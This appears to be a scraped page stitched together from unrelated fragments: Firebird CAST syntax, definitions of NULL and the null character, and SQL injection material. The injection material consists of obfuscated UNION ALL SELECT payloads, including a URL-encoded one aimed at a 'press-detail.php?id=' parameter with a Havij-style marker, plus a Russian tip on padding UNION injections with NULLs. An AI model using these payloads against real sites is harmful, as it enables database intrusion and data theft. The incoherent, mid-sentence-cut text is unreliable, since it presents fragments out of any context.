select cast (2000 as type of quint) from rdb$database select cast (2000 as int) from rdb$database. If TYPE OF is used with a (VAR)CHAR type, its character.
Best Result For : 999999.9 uNiOn aLl sElEcT cAsT 0x393133353134353632312e39 as char.
press-detail.php?id=999999.9+%2f**%2fuNiOn%2f**%2faLl+%2f
999999.9+union+all+select+%27R3DM0V3_hvj_injection',null
Используйте NULL в UNION-инъекциях вместо попыток угадать строку, дату, число и прочее. Но будьте аккуратны при слепой инъекции, т.к. вы можете спутать ошибку БД и самого приложения. Некоторые языки, например ASP.NET, выдают ошибку при использовании значения NULL (т.к...
Note: A NULL value is different from a zero value or a field that contains spaces.
For a style value of NULL, NULL is returned. data_type determines the range.
2 union all select 3) as N1 cross join
union all select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null
The null character (also null terminator or null byte) is a control character with the value zero. It is present in many character sets, including ISO/IEC 646 (or ASCII), the C0 control code, the Universal Coded Character Set (or Unicode), and EBCDIC.